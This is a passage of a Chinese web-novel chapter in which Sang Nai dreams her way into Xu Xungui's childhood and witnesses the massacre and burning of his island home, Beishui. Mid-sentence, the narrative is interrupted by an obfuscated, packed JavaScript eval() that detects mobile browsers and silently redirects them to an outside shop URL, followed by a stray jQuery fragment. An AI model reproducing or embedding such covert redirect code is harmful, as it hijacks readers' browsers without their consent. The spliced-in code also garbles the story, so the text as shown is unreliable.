“干嘛抱歉?我很开心。”
许寻归感受着她轻浅的呼吸扫在脖颈,痒痒的,就像多年前小狸的尾巴尖。
喜欢的不得了。
“难道你不乐意么。”
他虽然这样问,但是心里已经有底。
没有人可以强迫桑萘,她没有拒绝就是也乐在其中。
掌心之下的衣料摩擦生出热量,他的手还扶着桑萘的腰。
桑萘松开他,吸了口气,看着他懵懂的样子,重重摇摇头:“不一样的。”
有一种负罪感。
她就算再怎么好色,也不能对现在的许寻归下手吧,太变态了。
好羞耻,自己居然差点被男色蛊惑。
天色渐暗,桑萘感觉自己有点脸热,胡乱说了什么便跑了。
颇有落荒而逃的那味。
独留许寻归一个人在原地吹晚风。
夜晚,弯月悬于窗边,桑萘裹紧被褥,陷入喧嚣。
抬眼是乌云压檐,青石板上落下点点滴滴小雨。
风将发丝吹的糊住眼睛,桑萘随手拨开唇角的头发,四处打量了一下。
白墙灰瓦,青石小巷,有沟渠小道穿插在街上,还有忙着收东西的行人,是很古朴的生活气息。
这个地方她没有印象,桑萘却感觉莫名安心和愉悦,她决定在此处等一下。
这个感觉太熟悉了。
“下雨了,我们跑快一点,跟得上阿娘吗?”
这并不是他们常用的语言,而是发音奇怪的某种话,但是桑萘居然知道她的意思。
它柔缓轻扬,似水流淌,那道声音很温柔。
一堆陌生面孔中,桑萘一眼就注意到一个女人。
她很纤瘦,穿着一身浅蓝色的衣裙,上面绣着花鸟虫鱼,白线镶边,似浪花拍在海岸。
街道上的人大多也是这样的穿着,他们应该是某个古老的民族。
但令桑萘瞩目的不是她的衣着,而是她那温柔的眉眼,女人看起来二十七八,脸上清新寡淡,未施粉黛,自带一股温和的清冷气息。
她的身后跟着一个看着五六岁大小的男童,小男孩奋力地迈着小短腿妄图追上自己阿娘。
“阿娘,阿娘,慢点跑……我追不上了。”
带着稚嫩的童音响起,小男孩朝自己的阿娘喊道。
他弱小又无助的跟着女人,婴儿肥的脸上带着委屈巴巴,浅蓝色的眼睛里蓄出了泪水。
是小许寻归。
与之前不同的是,现在的他被养得白白胖胖,眼里是小孩子的天真和稚气。
“跑快点啊,我在前面等你。”
女人温和的回头笑着,存着逗小孩子的心思。
她虽然是这样说着,但是却没见他停下来。
现在雨没下几滴,他们并不见急。
“阿娘,阿娘……”
许寻归眼见追不上自己的阿娘,干脆停下来瘪瘪嘴,委屈巴巴的就要掉眼泪。
正巧停在了桑萘的面前,她就蹲下来看他。
小糯米团子似的,漂亮极了。
桑萘看得心软软,那脸蛋怎么那么圆?好想掐。
这个年纪的小孩子最好逗了。
女人先是停下来笑了下,然后终于良心发现般的回来捞了一下他,拉着他的手回家。
“我们小归是个爱哭鬼,长大了可不能再这样,免得叫人家欺负了去。”
他们走远。
桑萘跟了上去,就站在许寻归身边。
此刻他脸上还有未干的泪痕,可怜兮兮的。
还真是个哭包。
真是可怜又好笑,桑萘摸摸他的头,算是安慰一下他。
女人带着他进了一个小院里,将小许寻归放在椅子上,转身去收院子里晾晒的衣物。
桌子上摆着各色糕点,还有一小盘生米。
桑萘看见他伸出手拿起一块乳白色奶糕,一个人安安静静地啃着,时不时看一看门外自己的阿娘在干什么。
好乖啊。
他可比自己小时候乖多了。
她自诩自己小时候是魔童降世,不是上树,就是下河,经常一天一小打,三天一大打。
而像她这样的魔童,临云酒庄有三个。
桑萘就弯着腰看他,知道他听不见也想说:“许寻归,你好乖啊。”
他吃东西的样子也很斯文,细嚼慢咽,不会弄脏衣服,也不会到处乱动,还吃得很干净。
简直就是桑萘阿娘预期中她的模样。
不过可惜,桑萘像个棒槌,没有此等方面的天赋。
最后她阿娘只求只求她平平安安,健健康康。
许寻归咽下最后一口,顺手抓了一把生米,跳下了板凳,哒哒哒的就往外面跑。
桑萘跨两步就追上他,想看看他到底要去干嘛,这孩子总不能吃生米吧?
就看见那个矮矮的身影停在院子里,踮着脚望着树梢。
树枝上停着两只小麻雀,见到他后,兴奋的叽叽喳喳叫了起来,然后一大群褐色的麻雀就飞来围着他转。
原来他真的从小就招小动物喜欢。
桑萘心道:……我将簇拥你成为新的御兽宗宗主。
许寻归撒下一把米,看着一个个小家伙摇头晃脑。
“吃吧,要下雨了,吃完了就回家。”
他蹲下来戳戳小麻雀的头。
桑萘也蹲下来,看着他肉乎乎的脸,小声对他说:“那你也快回家吧。”
不知道是不是巧合,她说完这句话后就看见许寻归站起来。
他们原本是蹲着的,许寻归站起来后往桑萘那边走,桑萘也准备起身跟着他时看见许寻归脚步一顿,绕过了她。
桑萘:“嗯?!”
怎么会?
他看得见她?
桑萘不可置信:“你看得见我?”
不应该啊,照她的理解来看,这应该是过去的事情,许寻归不可能看得见或者感知得到自己。
虽然他也不知道为什么会知道关于他的这些事情,而且还是以这样一种诡异的形式。
这个世界上太多怪力乱神的东西。
小团子没有回话,他跑进屋,不过两秒又跑了回来,在桑萘的脚下放了一把米。
“啾啾啾,还有个胖胖的,还好没忘记你。”许寻归握紧手,又蹲了下来。
小麻雀也“啾啾啾”回他。
不是绕过她。
原来她脚下有一只小雀,它圆滚滚的,比其他只胖了不少。
看来许寻归没少给它开小灶,养的胖胖的。
他看不见她。
桑萘不知道怎么形容自己的感受,不知道自己是希望他看见,还是希望他看不见。
但是她本来就只能旁观他过去的一切。
桑萘看着蹲下喂小肥啾的许寻归,没想到自己居然以这么诡异的方式了解他的过去。
“变天了,快进屋子里来。”
身后传来女人的呼喊,小小的身子站起来迈开腿往屋檐下跑。
一颗颗雨滴落,桑萘居然奇异的感觉到雨水溅落在脸上的感觉。
她低头一看,自己脚下的地上斑斑点点,但是很快干掉。
桑萘看着许寻归躲在檐下接雨,自己也好像感觉到了手心里冰冰凉凉的触感。
这场雨不大。
夜晚时只湿了青石板。
桑萘看见那个女人轻柔的拍着被褥哄许寻归睡觉,讲着自己编出来的温馨故事。
“我们的小归一定要快快乐乐长大。”
她慈爱地抚摸自己的孩子,许下了一个母亲最质朴的愿望。
合门时动作轻柔,生怕吵醒熟睡的许寻归,她不知道去了哪里。
桑萘坐在床沿上,接着烛台的微光垂头看着床上的小孩,她觉得这样一直看着他好像也不错。
天不遂人愿。
很快喧嚣打破了宁静。
“秦雯,出事了,快出来!”
“着火了,快出来!”
猛烈的拍门声骤然响起,吓了桑萘一大跳。
她下意识朝门外看去,被挡住了视线。
桑萘回头看见许寻归皱起了眉毛,没醒。
她穿过木门,看见了眼前的场景。
院门被打开,一个盘发女人气喘吁吁,急促地呼吸。
秦雯,也就是许寻归的母亲正帮她顺着气,不明所以:“慢点说,哪里起火了?”
桑萘停下了脚步。
她知道怎么回事了。
十四年前宋易生打着“除海妖,剿北水”的名头踏上了这个海上浮陆。
那次,火烧了三天三夜。
“远边,他们说周都的人踏岸杀人了,快跑吧,带着孩子快跑。”
盘发女人嘶哑着开口,指着远处,那里已经隐隐有火光
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17551067|203103||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
出现。
“我们的船在南岸,你先过去,我还要去告诉其他人。”
她说完就转向别处。
“南岸,南岸……”秦雯呢喃两句,恍惚了一瞬,下一秒打开了门,抱起还在熟睡的许寻归。
她夺命狂奔。
到了大街上就是大家的哭嚎声,火势蔓延,远处还隐隐传来各式各样的惨叫。
秦雯抱着人混入了逃生者里。
北水是一个不大的浮陆,房子连着房子,四面环海。
桑萘没有跟上他们,她选择逆着人流,跑向远边。
她想知道几年前的事情。
“北水海妖,蛊惑人心,杀之而后快。”
火光冲天,比梵鹿山庄有过之而无不及。
还未靠近她就已经感受火势之大。
“求求你,放过我的孩子……”
“我们没有,没有蛊惑人心。”
“你们颠倒黑白,草菅人命,一定会下地狱,下地狱。”
杂七杂八的声音穿过耳膜,有求饶,有谩骂,有哭嚎。
桑萘还在跑,看着如同人间炼狱的场面,心里钝痛。
她心悲悯,犹怜其万万生灵。
不是的,他们不是海妖……
他们是一个个期许着明天的普通人。
他们热爱生活,也珍视生命,教导孩子怜爱一个个渺小的生灵。
他们是人。
桑萘脚踏地上的血流,眼睛干涩。
眼前一个个脸庞刚刚还活生生在眼前,他们有的就站在她身边抱怨天气不好,有的打烊收摊,还有人期待雨天去踩水。
很生动。
火光晃眼,宋易生猩红着眼,半边脸上全是血色,低沉严肃:“斩草除根,一个不留。”
“不可以——”
桑萘想冲过去,手里引着灵气,什么也不想顾。
直面美好之后,怎么忍心看它破碎、看它毁灭、看它无影无踪。
即使碰不着,改变不了,她仍旧有一股怒火。
只是灵气没有使用出来,一股强烈的拉扯感席卷了她,指一瞬间,万物倒退,他想被抛上天空,眼前恍惚。
下一秒,桑萘又感觉自己突然落地。
身后硌上了冰冷的东西,眼前出现了船帆,仰躺着。
她被拉扯了回来,回到了许寻归身边,发尾还绕在许寻归的小指处。
桑萘偏头,想到了缘由。
自己看到的一切源于许寻归,自己只能待在他身边,不能离他太远。
“小归,去到那边等阿娘,乖乖的,不哭不闹好不好?”
秦雯流着眼泪,身后是鹅黄锦服的遥锦门弟子,他们举剑挥下就是一个亡魂。
许寻归上的是一个小渔船,船夫是一个留胡子的老头,船上已经有五六个小孩,他们哭闹不止。
“阿娘,阿娘……”
许寻归攀着船边,看着越来越远的脸庞无助的喊。
桑萘看见秦雯被贯穿身体,滚落在地上,抬眼看着这个方向。
一只箭矢飞过,老头的船帆被射破,后方追来几人,他们抢了几艘渔船,追着杀。
越来越多的利剑划过,上面居然还有火苗。
“咕嘟咕嘟”
耳中灌水,渔船翻了。
起起伏伏的浪,模糊了眼前。
好难受,溺水的窒息感席卷而来,桑萘从来没有这么痛苦过。
她好像要死了。
“咳咳……”
许寻归被一只苍老的手捞起,放在了一甲板上冷得直哆嗦。
在他们的周围还有许多逃命船只,老渔夫拼命地捞起那些孩子就往他们船上送。
鼻腔灌水,水被挤进了胸腔。
水性再怎么好,也经不起这样折腾。
老头喊着:“他们可是北水的未来,我们的族人可不能就这样不清不楚的死去……”
他托举着最后一个孩子消失在海面。
一共捞起了三个,他沉向了依靠多年的沧溟。
“许寻归……”
新鲜的口气从新进入口中,桑萘趴着大口呼吸,明明自己就像一个魂体,按理来说不应该有感觉的。
但是她难受的都快爆炸了,软趴趴的挪到许寻归身边,看见浑身湿透的他,握住了他的手。
刺目的光,不是白日。
是火烧到了南岸。